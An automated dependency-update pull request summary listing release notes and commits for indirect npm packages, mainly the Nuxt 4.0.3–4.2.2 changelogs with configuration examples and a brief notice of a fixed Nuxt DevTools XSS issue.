  • 4bce8a2 chore: package.json update for eslint-config-eslint release (Jenkins)
  • 0c9999c refactor: prefer default options in grouped-accessor-pairs (#20028) (루밀LuMir)
  • d503f19 ci: fix stale.yml (#20010) (루밀LuMir)
  • e2dc67d ci: centralize stale.yml (#19994) (루밀LuMir)
  • 7093cb8 ci: bump actions/checkout from 4 to 5 (#20005) (dependabot[bot])

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​jridgewell/gen-mapping (indirect, 0.3.12 → 0.3.13) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ @​jridgewell/sourcemap-codec (indirect, 1.5.0 → 1.5.5) · Repo · Changelog

↗️ @​jridgewell/trace-mapping (indirect, 0.3.29 → 0.3.31) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ @​mapbox/node-pre-gyp (indirect, 2.0.0 → 2.0.3) · Repo · Changelog

Release Notes

2.0.3

2.0.2

  • Support private ACL for S3 buckets #923

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 17 commits:

↗️ @​nuxt/cli (indirect, 3.25.1 → 3.31.2) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ @​nuxt/devtools (indirect, 2.6.2 → 3.1.1) · Repo · Changelog

Security Advisories 🚨

🚨 Nuxt DevTools vulnerable to cross-site scripting (XSS)

A vulnerability in Nuxt DevTools has been fixed in version 2.6.4*. This issue may have allowed Nuxt auth token extraction via XSS under certain configurations. All users are encouraged to upgrade.

Release Notes

3.1.1

   🚀 Features

   🐞 Bug Fixes

    View changes on GitHub

3.1.0

   🚀 Features

    View changes on GitHub

3.0.1

   🚀 Features

   🐞 Bug Fixes

    View changes on GitHub

3.0.0

   🚨 Breaking Changes

    View changes on GitHub

2.7.0

   🐞 Bug Fixes

    View changes on GitHub

2.6.5

   🐞 Bug Fixes

    View changes on GitHub

2.6.4

   🐞 Bug Fixes

  • Using textContent instead of innerHtml for auth pagechore: update lock  -  by @antfu (7cadb)
    View changes on GitHub

2.6.3

No significant changes

    View changes on GitHub

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 34 commits:

↗️ @​nuxt/schema (indirect, 3.17.7 → 4.2.2) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ @​nuxt/vite-builder (indirect, 3.17.7 → 4.2.2) · Repo

Release Notes

4.2.2

4.2.2 is the next patch release.

✅ Upgrading

Our recommendation for upgrading is to run:

npx nuxt upgrade --dedupe

This will deduplicate your lockfile as well, and help ensure that you pull in updates from other dependencies that Nuxt relies on, particularly in the unjs ecosystem.

👉 Changelog

compare changes

🩹 Fixes

  • nitro: Do not show pretty error handler when testing (243261edb)
  • nuxt: Generate valid references for component declaration items (#33388)
  • nuxt: Sync internal route before calling page:finish hook (#33707)
  • kit: Add TypeScript path alias support for test files (#33672)
  • nitro: Ensure html is a string before injecting error handler (f70b70c97)
  • nitro: Include layer server directories in tsconfig.server.json (#33510)
  • nuxt: Ensure deduped async data executions return latest promise (#33740)
  • kit,nuxt: Type + respect moduleDependencies by meta name (#33774)
  • nuxt,schema: Ignore .d.vue.ts declarations (1c73525a2)
  • kit,nuxt: Protect against resolved nuxt module subpath (#33767)
  • nuxt: Re-execute callOnce during HMR (#33810)
  • nuxt: Resolve watch callback after reactive key change in useAsyncData (#33802)
  • nuxt: Escape HTML in development error page stack trace (#33820)
  • kit: Do not add resolved rootDir to cached layer config (#33779)
  • kit,schema: Add moduleDependencies -> installModule (#33689)

💅 Refactors

  • nuxt: Improve type safety within callOnce function (#33825)

📖 Documentation

  • Split directory structure and re-order guides (v4) (#33691)
  • Add hints release (#33701)
  • Fix link to vitest globals config (#33702)
  • Add mcp server and llms.txt (#33371)
  • Fix 404 link (98c2f1397)
  • Text consistency (#33709)
  • Type error as non-optional prop (#33763)
  • Reformat tables (#33813)

🏡 Chore

  • Update pnpm to 10.21 and enable trust policy (d2c9711c0)
  • Revert pnpm trust policy and restore provenance action (f9d0e0a3d)
  • Update markdownlint config to ignore mdc issues (e7fff7132)
  • Pin to single version of unstorage (ec316eae8)

✅ Tests

  • Add patchProp and nodeOps to excluded Vue helpers (#33754)
  • Use fake timers for watch params test (08d9d2f3b)

🤖 CI

  • Add --pnpm flag to correctly publish prerelease (#33688)
  • Update action lint config (#33710)

❤️ Contributors

4.2.1

4.2.1 is the next patch release.

✅ Upgrading

Our recommendation for upgrading is to run:

npx nuxt upgrade --dedupe

This will deduplicate your lockfile as well, and help ensure that you pull in updates from other dependencies that Nuxt relies on, particularly in the unjs ecosystem.

👉 Changelog

compare changes

🩹 Fixes

  • kit,nuxt,schema: Deprecate ImportPresetWithDeprecation (#33596)
  • nuxt: Correct warning message for prefetch/noPrefetch conflict (#33617)
  • nitro: Remove <nuxt-error-overlay> iframe border (#33625)
  • vite: Use rolldown replace only in build (#33615)
  • nitro: Use directory paths in moduleEntryPaths (#33628)
  • nitro: Start error overlay minimized based on status code (#33658)
  • vite: Ensure optimizeDeps config is applied before other plugins (#33586)
  • nuxt: Respect layer priority order for scanned components (#33654)
  • nuxt: Process prerender routes on pages:resolved (#33662)
  • nuxt: Remove abort signal event listeners after render (#33665)
  • nuxt: Cleanup event listener with cleanup signal (#33667)
  • vite: Update vite-node (#33663)
  • vite: Respect vite proxy in dev middleware (#33670)

💅 Refactors

  • kit,nitro,nuxt,schema,vite: Explicitly import process/performance (#33650)

📖 Documentation

  • Fix typo in eslint flat config description (#33569)
  • Add signal support to useAsyncData examples (#33601)
  • Document pending as alias of status === 'pending' (#33221)
  • Note that cookieStore is true by default (#33572)
  • Add information on types for server context (#33511)
  • Mark webstorm issue resolved (#33608)
  • Clarify route middleware doesn't affect API routes (#33643)
  • Improve docs for useHead/useHydration/useLazy* (#33626)
  • Update link to nitro source to v2 branch (08018af4f)
  • Add typescript documentation for module authors (#33637)
  • Typo (#33655)

🏡 Chore

🤖 CI

  • Disable cache in release action (ff37598bc)

❤️ Contributors

4.2.0

4.2.0 is the next minor release.

👀 Highlights

We're excited to announce Nuxt 4.2, bringing new capabilities for better TypeScript DX, enhanced error handling, and improved control over data fetching! 🎉

🎯 Abort Control for Data Fetching

You can now pass an AbortController signal directly to useAsyncData and useFetch, giving you fine-grained control over request cancellation (#32531).

<script setup lang="ts">
const controller = new AbortController()

const { data, error } = await useAsyncData('users', () => $fetch('/api/users', {
  signal: controller.signal
}))

// Cancel the request manually when needed
function cancelRequest() {
  controller.abort()
}
</script>

This is particularly useful when you need to abort requests based on user actions or component lifecycle events. The abort signal can also be passed to refresh() and execute() methods:

const { data, refresh } = await useAsyncData('posts', fetchPosts)

// Abort an ongoing refresh
const abortController = new AbortController()
refresh({ signal: abortController.signal })

// Later...
abortController.abort()

🎨 Better Error Pages in Development

When an error occurs during development, Nuxt will now display both your custom error page and a detailed technical error overlay (#33359). This gives you the best of both worlds – you can see what your users will experience while also having immediate access to stack traces and debugging information.

Screenshot of the new development error page

The technical overlay appears as a toggleable panel that doesn't interfere with your custom error page, making it easier to debug issues while maintaining a realistic preview of your error handling.

🔮 Opt-in Vite Environment API

For those wanting to experiment with cutting-edge features, you can now opt into the Vite Environment API (#33492).

The Vite Environment API is a major architectural improvement in Vite 6. It closes the gap between development and production by allowing the Vite dev server to handle multiple environments concurrently (rather than requiring multiple Vite dev servers, as we have done previously in Nuxt).

This should improve performance when developing and eliminate some edge case bugs.

... and it is the foundation for implementing Nitro as a Vite environment, which should speed up the dev server still further, as well as allowing more greater alignment in development with your Nitro preset.

export default defineNuxtConfig({
  experimental: {
    viteEnvironmentApi: true
  }
})

This is also the first breaking change for Nuxt v5. You can opt in to these breaking changes by setting compatibilityVersion to 5:

export default defineNuxtConfig({
  future: {
    compatibilityVersion: 5
  },
})

Please only use this for testing, as this opts in to unlimited future breaking changes, including updating to Nitro v3 once we ship the Nuxt integration.

Warning

This is highly experimental and the API may change. Only enable if you're prepared for potential breaking changes and want to help shape the future of Nuxt!

📦 New @nuxt/nitro-server Package

We've extracted Nitro server integration into its own package: @nuxt/nitro-server (#33462). This architectural change allows for different Nitro integration patterns and paves the way for future innovations in server-side rendering.

While this change is mostly internal, it's part of our ongoing effort to make Nuxt more modular and flexible. The new package provides standalone Nitro integration and sets the foundation for alternative integration approaches (such as using Nitro as a Vite plugin in Nuxt v5+).

Note

This is an internal refactor – no changes should be required in your code.

⚡ Performance Improvements

We've also shipped several performance enhancements:

  • Precomputed renderer dependencies – We now compute renderer dependencies at build time rather than runtime, improving cold start and initial render performance (#33361)
  • Reduced dependencies – Removed unnecessary dependencies from kit and schema packages (7ae2cf563)

📉 Async Data Handler Extraction

One of the most exciting performance improvements is the new experimental async data handler extraction (#33131). When enabled, handler functions passed to useAsyncData and useLazyAsyncData are automatically extracted into separate chunks and dynamically imported.

This is particularly effective for prerendered static sites, as the data fetching logic is only needed at build time and can be completely excluded from the client bundle.

Note

In testing with a previous version of nuxt.com, this feature reduced JavaScript bundle size by 39%! Of course, your mileage may vary depending on how much data fetching logic you have.

<script setup lang="ts">
// This handler will be extracted into a separate chunk
// and only loaded when needed
const { data: post } = await useAsyncData('post', async () => {
  const content = await queryContent(`/blog/${route.params.slug}`).findOne()
  
  // Complex data processing that you don't want in the client bundle
  const processed = await processMarkdown(content)
  const related = await findRelatedPosts(content.tags)
  
  return {
    ...processed,
    related
  }
})
</script>

For static/prerendered sites, enable it in your config:

export default defineNuxtConfig({
  experimental: {
    extractAsyncDataHandlers: true
  }
})

The extracted handlers are then tree-shaken from your client bundle when prerendering, as the data is already available in the payload. This results in significantly smaller JavaScript files shipped to your users.

🔧 Experimental TypeScript Plugin Support

We're introducing experimental support for enhanced TypeScript developer experience through the @dxup/nuxt module.

This module adds a number of TypeScript plugins that aim to improve your experience when using Nuxt-specific features:

  • Smart component renaming: Automatically updates all references when you rename auto-imported component files
  • Go to definition for dynamic imports: Navigate directly to files when using glob patterns like import(\~/assets/${name}.webp`)`
  • Nitro route navigation: Jump to server route handlers from data fetching functions ($fetch, useFetch, useLazyFetch)
  • Runtime config navigation: Go to definition works seamlessly with runtime config properties
  • Enhanced auto-import support: Includes the @dxup/unimport plugin for better navigation with auto-imported composables and utilities

Note

Read more in the documentation.

To enable this feature, set experimental.typescriptPlugin to true in your Nuxt configuration:

export default defineNuxtConfig({
  experimental: {
    typescriptPlugin: true
  }
})

Once enabled, the module will be automatically installed and configured by Nuxt.

Important

This feature also requires selecting the workspace TypeScript version in VS Code. Run the "TypeScript: Select TypeScript Version" command and choose "Use Workspace Version".

🎁 Other Improvements

  • Component declarationPath – You can now specify a custom declaration path for components (#33419)
  • Module resolution extensions – Kit's resolveModule now accepts an extensions option (#33328)
  • Global head utility – New setGlobalHead utility in kit for easier head management (#33512)

🩹 Important Fixes

  • Route hash is now preserved when redirecting based on routeRules (#33222)
  • Fixed concurrent calls to loadNuxtConfig with proper cleanup (#33420)
  • Object-format href now works correctly in <NuxtLink> (c69e4c30d)
  • Component auto-imports now work as arguments to Vue's h() function (#33509)
  • Fixed app config array handling during HMR (#33555)

✅ Upgrading

Our recommendation for upgrading is to run:

npx nuxt upgrade --dedupe

This will refresh your lockfile and pull in all the latest dependencies that Nuxt relies on, especially from the unjs ecosystem.

👉 Changelog

compare changes

🚀 Enhancements

  • nuxt: Allow specifying component declarationPath (#33419)
  • kit: Add extensions option for resolveModule (#33328)
  • nuxt: Add abortController option to useAsyncData (#32531)
  • nuxt: Display youch error page w/ user error page in dev (#33359)
  • nuxt: Experimental typescript plugin support (#33314)
  • nuxt,schema: Extract asyncData handlers to chunks (#33131)
  • schema: Enable setting future.compatibilityVersion to 5 (22f4693a1)
  • kit,vite: Allow enabling vite environment api (#33492)
  • kit: Add setGlobalHead utility (#33512)

🔥 Performance

  • nuxt: Precompute renderer dependencies at build time (#33361)
  • kit,schema: Remove some unnecessary dependencies (7ae2cf563)

🩹 Fixes

  • nuxt: Preserve hash with redirecting based on routeRules (#33222)
  • kit: Safely cleanup loadNuxtConfig in concurrent calls (#33420)
  • nuxt: Allow object-format href in <NuxtLink> (c69e4c30d)
  • nuxt: Remove mergeModels from auto imports (#33344)
  • nuxt: Add back shortPath property (#33384)
  • nuxt: Do not allow native attrs to shadow nuxt link props (4751a6aca)
  • nuxt: Remove declarationPath from component dirs (191bcb7e9)
  • nuxt: Preserve root route in isPrerendered check (#33476)
  • nuxt: Exempt webpack vfs from pkg lookup (285eac31c)
  • nitro: Exempt nightly release from import protections (dd522394a)
  • webpack,rspack: Preserve prerender + nitro flags in server builds (#33503)
  • nuxt: Support component auto-imports as arguments of h() (#33509)
  • vite: Prevent assignment for rolldown's replacement plugin (#33526)
  • nuxt: Use sha256 hash for prerender cache keys (#33505)
  • nuxt: Add NuxtTime relative time numeric prop (#33552)
  • nuxt: Add NuxtTime relative time relativeStyle prop (#33557)
  • nuxt: Handle arrays in app config correctly during HMR (#33555)
  • vite: Unset optimizeDeps.include for server environment (#33550)

💅 Refactors

  • Remove obsolete shortPath property (#33384)
  • kit: Extract trace utilities (9687505ac)
  • nuxt,vite,webpack: Allow builders to augment types (#33427)
  • schema: Deprecate extend, extendConfig, and configResolved hooks (e060b9695)
  • vite: Make vite plugins environment-compatible (#33445)
  • nitro,nuxt: Extract @nuxt/nitro-server package (#33462)
  • nuxt: Use RouteLocationNormalizedLoadedGeneric internally (b51cb3067)

📖 Documentation

  • Update link to localisation issue (d32859da2)
  • Add nuxt module addServerPlugin note (#33409)
  • Remove deprecated node version (#33411)
  • Update declarationPath in addComponent (#33380)
  • Reproduction links for Nuxt v4 (#33429)
  • Add some notes/deprecations for vite hooks (31c5f26a2)
  • Fix incorrect ESM module field info (#33451)
  • Recommend getLayerDirectories() instead of nuxt.options._layers (#33484)
  • Add 4.x prefix (5c0bb9285)
  • Add docs for moduleDependencies (#33499)
  • Clarify extends removal in TypeScript config migration (#33523)
  • Pin codemod to v0.18.7 for migration recipe (#33522)
  • Fix links (#33554)

🏡 Chore

  • Migrate gitpod to ona (#33159)
  • Use native node to run test:prepare (6ef632b82)
  • Do not use native node to run test:prepare (eca36cfe5)
  • Lint docs (3b9784111)
  • Update valid semantic scopes (3c38d1f8b)
  • Ignore nitro templates (27cf85bdc)
  • Update internal links (aac763017)
  • Remove vue-demi from ignoredBuiltDependencies (#33494)
  • Update vscode url (#33360)
  • Correct jsdoc location for function used as parameters (#33507)
  • Remove code comment (#33515)
  • Patch changelogen for large numbers of commits (bd36738b8)
  • Link Nuxt 1.x and 2.x (2016–2022) history to main (85838dfd9)
  • Filter out commits before last tag when constructing changelog (1c561daeb)
  • Also respect since date for bump type (08900f610)
  • Also respect since in nightly releases (74ca73ca1)
  • Ignore @rollup/plugin-commonjs (cd12980ce)

✅ Tests

  • Refactor suite to use common matrix utils (#33483)

🤖 CI

  • Publish @nuxt/nitro-server on pkg-pr-new (b7ccf17bf)
  • Remove nitro-server publish until v4.2 is released (904d4f6ec)

❤️ Contributors

4.1.3

4.1.3 is a regularly scheduled patch release.

✅ Upgrading

Our recommendation for upgrading is to run:

npx nuxt upgrade --dedupe

This will deduplicate your lockfile as well, and help ensure that you pull in updates from other dependencies that Nuxt relies on, particularly in the unjs ecosystem.

👉 Changelog

compare changes

🔥 Performance

  • vite: Use rolldown's replace plugin when applicable (#33258)

🩹 Fixes

  • kit: Add default values when adding type references in prepare:types hook (#33239)
  • nuxt: Augment app config in server context (#33287)
  • nuxt: Make lazy component types compatible with h (#33046)
  • vite: Deduplicate inlined server style chunks (#33308)
  • nuxt: Support head option on useHead (#33318)
  • nuxt: Do not relativise importmap if cdnURL is set (#33333)
  • nuxt: Resolve aliases in imports.dirs (#33334)
  • nuxt: Add missing element/vnode props for <NuxtLink> (#33335)
  • nuxt: Do not generate server placeholder components (#33345)
  • nuxt: Dedupe generated component names (#33346)
  • webpack: Test watch instance before closing it (0e5a0a5a0)
  • nuxt: Correctly handle island rendering error (#33302)
  • nuxt: Support v-slot:fallback longform syntax in <DevOnly> (#33368)
  • nuxt: Support typeFrom when generating auto-import type templates (#33373)
  • nuxt: Don't trigger scroll when changing trailing slash (#33358)
  • nuxt: Add stubs for new scripts from @nuxt/scripts (bed410d60)
  • nuxt: Prevent duplicate execution on key change in useAsyncData (#33325)
  • nuxt: Make middleware _path property configurable for HMR (#33379)
  • nuxt: Handle non-immediate useAsyncData with different key on ssr (#33341)

💅 Refactors

  • nuxt: Improve implementation of error composables (#33234)
  • nuxt: Resolve path of typed-router.d.ts early for consistency (#33285)
  • nuxt: Move server references to nitro:prepare:types hook (#33286)
  • nuxt: Place filename into componentsIslandsTemplate definition (#33394)
  • nuxt,vite: Use environment-api compatible plugins (#33403)

📖 Documentation

  • Add 4.x prefix to all internal links (#33264)
  • Fix more links (#33265)
  • Update usage instructions for Windows users (#33284)
  • Update app config paths to use app/app.config.ts (#33297)
  • Remove d suffix in example (#33298)
  • Move directory structure to top-level (#33299)
  • Add information about useFetch reactivity (#33317)
  • Add more 4.x prefixes in urls (47ea684c7)
  • Lint code samples within docs (#33271)
  • Remove duplicated documentation from nuxt.config page (b438d44e1)
  • Remove docs for outdated asyncData configuration (3e4a999e6)
  • Note prepare command NODE_ENV behavior (#33330)
  • Update nuxt command pages (#33336)

🏡 Chore

✅ Tests

  • nuxt: Set locale to en for nuxt-time tests (#33343)
  • Double gotoPath timeout in CI (f1e5a2d4c)

🤖 CI

  • Add provenance action to check for downgrades in provenance (5ada6861e)
  • Pass commit sha when triggering ecosystem ci (399df6bab)

❤️ Contributors

4.1.2

4.1.2 is a regularly scheduled patch release.

✅ Upgrading

Our recommendation for upgrading is to run:

npx nuxt upgrade --dedupe

This will deduplicate your lockfile as well, and help ensure that you pull in updates from other dependencies that Nuxt relies on, particularly in the unjs ecosystem.

👉 Changelog

compare changes

🔥 Performance

  • kit: Do not normalise templates in loop if dst is present (#33200)
  • nuxt: Remove watcher from hydrate-when lazy hydration strategy (#33199)
  • nuxt,schema: Normalise components + directories more efficiently (#33207)
  • kit,nuxt: Reduce unnecessary iteration in nuxt code (#33212)
  • nuxt: Skip running lazy hydration transform with filter (#33213)

🩹 Fixes

  • schema: Add pkg-types to dependencies (9fe2541ca)
  • nuxt: Ignore errors when treeshaking composables within other composables (f99eac516)
  • nuxt: Do not tree-shake composables within other composables (#33153)
  • kit: Ensure module dependencies are typed correctly (4568e8451)
  • nuxt: Prevent Infinity backgroundSize in loading indicator (#33211)
  • nuxt: Remove unused enabled from components dir options (#32844)
  • nuxt: Sync watch request in useAsyncData (#33192)
  • nuxt: Move key imports logic after all modules run (#33214)

📖 Documentation

  • Update reference to source dir (65712297a)
  • Update language on bridge head migration (c9d986889)
  • Update file path for pinia store (#33205)
  • Add app/ suffix to a few links (#33217)

🏡 Chore

✅ Tests

❤️ Contributors

4.1.1

v4.1.1 is a regularly scheduled patch release

✅ Upgrading

Our recommendation for upgrading is to run:

npx nuxt upgrade --dedupe

This will deduplicate your lockfile as well, and help ensure that you pull in updates from other dependencies that Nuxt relies on, particularly in the unjs ecosystem.

👉 Changelog

compare changes

🩹 Fixes

  • nuxt: Correct relative path of auto imported components (#33122)
  • nuxt: Prefer accessing globalThis over window (#33125)
  • nuxt: Migrate to AST-aware tree-shaking + route injection (#33128)
  • nuxt: Ignore #components import mapping inside packages that use it internally (#33049)
  • vite: Remove explicit vite-node configuration of deps.inline (#33133)
  • nuxt: Include trace in dev-time useRoute usage warning (#33039)
  • kit: Improve DX by displaying module name when possible (#33137)
  • nuxt: Print route middleware path in warning (#33136)
  • nuxt: Include core auto-imports from imports:sources in override warning (#33050)
  • nuxt: Render relative importmap entry path if required (#33146)

📖 Documentation

  • Add -- to bun create command (5e661f0ca)
  • Add app/ prefix in lots of cases (#33117)
  • Add JSDoc for navigateTo (#21442)

🏡 Chore

🤖 CI

  • Remove default discord reactions from thread (more noise than it's worth) (183913fe2)
  • Rewrite release workflow in ts + support multiple tags (4469ead82)
  • Pass correct flag (711037cda)
  • Pass tag via env variable (fb83cd5ba)
  • Drop 4x tags from releases (1cd8a6857)

❤️ Contributors

4.1.0

👀 Highlights

🔥 Build and Performance Improvements

🍫 Enhanced Chunk Stability

Build stability has been significantly improved with import maps (#33075). This prevents cascading hash changes that could invalidate large portions of your build when small changes are made:

<!-- Automatically injected import map -->
<script type="importmap">{"imports":{"#entry":"/_nuxt/DC5HVSK5.js"}}</script>

By default, JS chunks emitted in a Vite build are hashed, which means they can be cached immutably. However, this can cause a significant issue: a change to a single component can cause every hash to be invalidated, massively increasing the chance of 404s.

In short:

  1. a component is changed slightly - the hash of its JS chunk changes
  2. the page which uses the component has to be updated to reference the new file name
  3. the entry now has its hash changed because it dynamically imports the page
  4. every other file which imports the entry has its hash changed because the entry file name is changed

Obviously this wasn't optimal. With this new feature, the hash of (otherwise) unchanged files which import the entry won't be affected.

This feature is automatically enabled and helps maintain better cache efficiency in production. It does require native import map support, but Nuxt will automatically disable it if you have configured vite.build.target to include a browser that doesn't support import maps.

And of course you can disable it if needed:

export default defineNuxtConfig({
  experimental: {
    entryImportMap: false
  }
})

🦀 Experimental Rolldown Support

Nuxt now includes experimental support for rolldown-vite (#31812), bringing Rust-powered bundling for potentially faster builds.

To try Rolldown in your Nuxt project, you need to override Vite with the rolldown-powered version since Vite is a dependency of Nuxt. Add the following to your package.json:

npm:

{
  "overrides": {
    "vite": "npm:rolldown-vite@latest"
  }
}

pnpm:

{
  "pnpm": {
    "overrides": {
      "vite": "npm:rolldown-vite@latest"
    }
  }
}

yarn:

{
  "resolutions": {
    "vite": "npm:rolldown-vite@latest"
  }
}

bun:

{
  "overrides": {
    "vite": "npm:rolldown-vite@latest"
  }
}

After adding the override, reinstall your dependencies. Nuxt will automatically detect when Rolldown is available and adjust its build configuration accordingly.

For more details on Rolldown integration, see the Vite Rolldown guide.

Note

This is experimental and may have some limitations, but offers a glimpse into the future of high-performance bundling in Nuxt.

🧪 Improved Lazy Hydration

Lazy hydration macros now work without auto-imports (#33037), making them more reliable when component auto-discovery is disabled:

<script setup>
// Works even with components: false
const LazyComponent = defineLazyHydrationComponent(
  'visible',
  () => import('./MyComponent.vue')
)
</script>

This ensures that components that are not "discovered" through Nuxt (e.g., because components is set to false in the config) can still be used in lazy hydration macros.

📄 Enhanced Page Rules

If you have enabled experimental extraction of route rules, these are now exposed on a dedicated rules property on NuxtPage objects (#32897), making them more accessible to modules and improving the overall architecture:

// In your module
nuxt.hook('pages:extend', pages => {
  pages.push({
    path: '/api-docs',
    rules: { 
      prerender: true,
      cors: true,
      headers: { 'Cache-Control': 's-maxage=31536000' }
    }
  })
})

The defineRouteRules function continues to work exactly as before, but now provides better integration possibilities for modules.

🚀 Module Development Enhancements

🪾 Module Dependencies and Integration

Modules can now specify dependencies and modify options for other modules (#33063). This enables better module integration and ensures proper setup order:

export default defineNuxtModule({
  meta: {
    name: 'my-module',
  },
  moduleDependencies: {
    'some-module': {
      // You can specify a version constraint for the module
      version: '>=2',
      // By default moduleDependencies will be added to the list of modules 
      // to be installed by Nuxt unless `optional` is set.
      optional: true,
      // Any configuration that should override `nuxt.options`.
      overrides: {},
      // Any configuration that should be set. It will override module defaults but
      // will not override any configuration set in `nuxt.options`.
      defaults: {}
    }
  },
  setup (options, nuxt) {
    // Your module setup logic
  }
})

This replaces the deprecated installModule function and provides a more robust way to handle module dependencies with version constraints and configuration merging.

🪝 Module Lifecycle Hooks

Module authors now have access to two new lifecycle hooks: onInstall and onUpgrade (#32397). These hooks allow modules to perform additional setup steps when first installed or when upgraded to a new version:

export default defineNuxtModule({
  meta: {
    name: 'my-module',
    version: '1.0.0',
  },

  onInstall(nuxt) {
    // This will be run when the module is first installed
    console.log('Setting up my-module for the first time!')
  },

  onUpgrade(inlineOptions, nuxt, previousVersion) {
    // This will be run when the module is upgraded
    console.log(`Upgrading my-module from v${previousVersion}`)
  }
})

The hooks are only triggered when both name and version are provided in the module metadata. Nuxt uses the .nuxtrc file internally to track module versions and trigger the appropriate hooks. (If you haven't come across it before, the .nuxtrc file should be committed to version control.)

Tip

This means module authors can begin implementing their own 'setup wizards' to provide a better experience when some setup is required after installing a module.

🙈 Enhanced File Resolution

The new ignore option for resolveFiles (#32858) allows module authors to exclude specific files based on glob patterns:

// Resolve all .vue files except test files
const files = await resolveFiles(srcDir, '**/*.vue', {
  ignore: ['**/*.test.vue', '**/__tests__/**']
})

📂 Layer Directories Utility

A new getLayerDirectories utility (#33098) provides a clean interface for accessing layer directories without directly accessing private APIs:

import { getLayerDirectories } from '@nuxt/kit'

const layerDirs = await getLayerDirectories(nuxt)
// Access key directories:
// layerDirs.app        - /app/ by default
// layerDirs.appPages   - /app/pages by default
// layerDirs.server     - /server by default
// layerDirs.public     - /public by default

✨ Developer Experience Improvements

🎱 Simplified Kit Utilities

Several kit utilities have been improved for better developer experience:

  • addServerImports now supports single imports (#32289):
// Before: required array
addServerImports([{ from: 'my-package', name: 'myUtility' }])

// Now: can pass directly
addServerImports({ from: 'my-package', name: 'myUtility' })

🔥 Performance Optimizations

This release includes several internal performance optimizations:

  • Improved route rules cache management (#32877)
  • Optimized app manifest watching (#32880)
  • Better TypeScript processing for page metadata (#32920)

🐛 Notable Fixes

  • Improved useFetch hook typing (#32891)
  • Better handling of TypeScript expressions in page metadata (#32902, #32914)
  • Enhanced route matching and synchronization (#32899)
  • Reduced verbosity of Vue server warnings in development (#33018)
  • Better handling of relative time calculations in <NuxtTime> (#32893)

✅ Upgrading

As usual, our recommendation for upgrading is to run:

npx nuxt upgrade --dedupe

This will refresh your lockfile and pull in all the latest dependencies that Nuxt relies on, especially from the unjs ecosystem.

👉 Changelog

compare changes

🚀 Enhancements

  • kit: Add ignore option to resolveFiles (#32858)
  • kit: Add onInstall and onUpgrade module hooks (#32397)
  • nuxt,vite: Add experimental support for rolldown-vite (#31812)
  • nuxt: Extract defineRouteRules to page rules property (#32897)
  • nuxt,vite: Use importmap to increase chunk stability (#33075)
  • nuxt: Lazy hydration macros without auto-imports (#33037)
  • kit,nuxt,schema: Allow modules to specify dependencies (#33063)
  • kit,nuxt: Add getLayerDirectories util and refactor to use it (#33098)

🔥 Performance

  • nuxt: Clear inline route rules cache when pages change (#32877)
  • nuxt: Stop watching app manifest once a change has been detected (#32880)

🩹 Fixes

  • nuxt: Handle satisfies in page augmentation (#32902)
  • nuxt: Type response in useFetch hooks (#32891)
  • nuxt: Add TS parenthesis and as expression for page meta extraction (#32914)
  • nuxt: Use correct unit thresholds for relative time (#32893)
  • nuxt: Handle uncached current build manifests (#32913)
  • kit: Resolve directories in resolvePath and normalize file extensions (#32857)
  • schema,vite: Bump requestTimeout + allow configuration (#32874)
  • nuxt: Deep merge extracted route meta (#32887)
  • nuxt: Do not expose app components until fully resolved (#32993)
  • kit: Only exclude node_modules/ if no custom srcDir (#32987)
  • nuxt: Transform ts before page meta extraction (#32920)
  • nuxt: Compare final matched routes when syncing route object (#32899)
  • nuxt: Make vue server warnings much less verbose in dev mode (#33018)
  • schema: Allow disabling cssnano/autoprefixer postcss plugins (#33016)
  • kit: Ensure local layers are prioritised alphabetically (#33030)
  • kit,nuxt: Expose global types to vue compiler (#33026)
  • deps: Bump devalue (#33072)
  • nuxt: Support config type inference for defineNuxtModule().with() (#33081)
  • nuxt: Search for colliding names in route children (b58c139d2)
  • nuxt: Delete nuxtApp._runningTransition on resolve (#33025)
  • nuxt: Add validation for nuxt island reviver key (#33069)

💅 Refactors

  • nuxt: Simplify page segment parsing (#32901)
  • nuxt: Remove unnecessary async/await in afterEach (#32999)
  • vite: Simplify inline chunk iteration (6f4da1b8c)
  • kit,nuxt,ui-templates,vite: Address deprecations + improve regexp perf (#33093)

📖 Documentation

  • Switch example to use vitest projects (#32863)
  • Update testing setupTimeout and add teardownTimeout (#32868)
  • Update webRoot to use new app directory (df7177bff)
  • Add middleware to layers guide (6fc25ff79)
  • Use app/ directory in layer guide (eee55ea41)
  • Add documentation for --nightly command (#32907)
  • Update package information in roadmap section (#32881)
  • Add more info about nuxt spa loader element attributes (#32871)
  • Update features.inlineStyles default value (6ff3fbebb)
  • Correct filename in example (#33000)
  • Add more information about using useRoute and accessing route in middleware (#33004)
  • Avoid variable shadowing in locale example (#33031)
  • Add documentation for module lifecycle hooks (#33115)

🏡 Chore

  • config: Migrate renovate config (#32861)
  • Remove stray test file (ca84285cc)
  • Ignore webpagetest.org when scanning links (6c974f0be)
  • Add type: 'module' in playground (#33099)

✅ Tests

  • Add failing test for link component duplication (#32792)
  • Simplify module hook tests (#32950)
  • Refactor stubbing of import.meta.dev (#33023)
  • Use findWorkspaceDir rather than relative paths to repo root (a6dec5bd9)
  • Improve router test for global transitions (5d783662c)
  • Use expect.poll (53fb61d5d)
  • Use expect.poll instead of expectWithPolling (357492ca7)
  • Use vi.waitUntil instead of custom retry logic (611e66a47)

🤖 CI

  • Remove double set of tests for docs prs (6bc9dccf4)
  • Add workflow for discord team discussion threads (bc656a24d)
  • Fix some syntax issues with discord + github integrations (f5f01b8c1)
  • Use token for adding issue to project (66afbe0a2)
  • Use discord bot to create thread automatically (618a3cd40)
  • Only use discord bot (bfd30d8ce)
  • Update format of discord message (eb79a2f07)
  • Try bolding entire line (c66124d7b)
  • Oops (38644b933)
  • Add delay after adding each reaction (ecb49019f)
  • Use last lts node version for testing (e06e37d02)
  • Try npm trusted publisher (85f1e05eb)
  • Use npm trusted publisher for main releases (abf5d9e9f)
  • Change wording (#32979)
  • Add github ai moderator (#33077)

❤️ Contributors

4.0.3

4.0.3 is a regularly scheduled patch release.

👉 Changelog

compare changes

🔥 Performance

  • kit: Get absolute path from tinyglobby in resolveFiles (#32846)

🩹 Fixes

  • nuxt: Do not throw undefined error variable (#32807)
  • vite: Include tsconfig references during typeCheck (#32835)
